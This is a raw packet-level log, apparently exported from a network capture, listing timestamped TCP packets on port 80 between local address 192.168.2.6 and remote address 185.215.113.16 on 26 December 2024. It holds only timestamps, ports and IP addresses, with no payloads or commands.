Dec 26, 2024 12:52:17.026237011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.026249886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.026278019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.026806116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.026846886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.026942968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.027961016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.028007030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.028094053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.028572083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.028619051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.029139042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.029773951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.029810905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.029815912 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.030306101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.030348063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.030836105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.031522989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.031569958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.031589985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.032073975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.032114983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.032634974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.033102036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.033152103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.033248901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.034266949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.034302950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.034312963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.034970045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.035006046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.035017014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.036027908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.036062956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.036071062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.036675930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.036711931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.036720037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.037689924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.037724972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.037734032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.038342953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.038378954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.038384914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.039437056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.039472103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.039483070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.040050983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.040119886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.040493965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.041101933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.041136980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.041146994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.041716099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.041754961 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.042229891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.042835951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.042871952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.042882919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.044039965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.044085026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.044094086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.044459105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.044498920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.044573069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.045722008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.045757055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.045770884 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.046257019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.046303988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.046767950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.047429085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.047447920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.047472000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.048427105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.048440933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.048466921 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.049079895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.049096107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.049125910 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.050194979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.050208092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.050235987 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.050795078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.050811052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.050834894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.051879883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.051887989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.051932096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.052504063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.052516937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.052546978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.053567886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.053580999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.053606987 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.054213047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.054224968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.054254055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.055579901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.055593014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.055618048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.056066036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.056175947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.056761980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.057310104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.057322025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.057347059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.058396101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.058408976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.058428049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.058958054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.058969021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.058991909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.060187101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.060200930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.060235977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.060633898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.060667992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.060818911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.061861038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.061872005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.061896086 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.062484026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.062521935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.062823057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.063548088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.063560009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.063590050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.121655941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.226006031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.226064920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.226106882 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.226403952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.226522923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.226560116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.227293968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.227505922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.227551937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.228123903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.228252888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.228293896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.228975058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.229091883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.229129076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.229830027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.229927063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.229963064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.230710983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.230778933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.230815887 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.231534958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.231658936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.231698990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.232377052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.232593060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.232642889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.233231068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.233385086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.233427048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.234093904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.234200001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.234246016 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.234976053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.235086918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.235136032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.235805988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.235917091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.235963106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.236632109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.236749887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.236797094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.237497091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.237607956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.237647057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.238359928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.238461018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.238500118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.239188910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.239305973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.239346027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.240067005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.240184069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.240232944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.240942001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.241028070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.241065979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.241796970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.241871119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.241914988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.242610931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.242718935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.242755890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.243469000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.243628025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.243660927 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.244309902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.244420052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.244462013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.245179892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.245368004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.245415926 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.246098042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.246176004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.246215105 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.246877909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.247014046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.247052908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.247740984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.247863054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.247904062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.248586893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.248692989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.248729944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.249478102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.249577045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.249615908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.250313044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.250458956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.250495911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.251274109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.251293898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.251329899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.252140045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.252221107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.252262115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.253194094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.253458023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.253501892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.254240990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.254319906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.254360914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.254796028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.254884958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.254921913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.255430937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.255485058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.255533934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.256283998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.256417036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.256453037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.257123947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.257431984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.257469893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.257966042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.258055925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.258093119 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.258871078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.258985043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.259023905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.259731054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.259812117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.259852886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.260549068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.260627031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.260663033 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.261415005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.261523008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.261560917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.262252092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.262358904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.262398958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.263140917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.263252020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.263288975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.263952017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.264065027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.264102936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.264789104 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.264822006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.264863014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.265651941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.265753984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.265791893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.266510010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.267019987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.267059088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.267364025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.267488003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.267524004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.268220901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.268320084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.268357038 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.269120932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.269249916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.269287109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.269897938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.270013094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.270056009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.270828009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.324779987 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.436573029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.436644077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.436705112 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.436968088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.437130928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.437175989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.437809944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.437962055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.437999964 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.438688993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.438813925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.438854933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.439553976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.439671993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.439708948 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.440391064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.440499067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.440538883 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.441251040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.441373110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.441410065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.442102909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.442270041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.442310095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.442981958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.443078041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.443119049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.443808079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.444029093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.444091082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.444639921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.444760084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.444809914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.445529938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.445630074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.445667982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.446345091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.446469069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.446513891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.447216034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.447331905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.447372913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.448040009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.448132038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.448168993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.448899984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.449033976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.449074030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.449747086 CET	80	49842	185.215.113.16	192.168.2.6
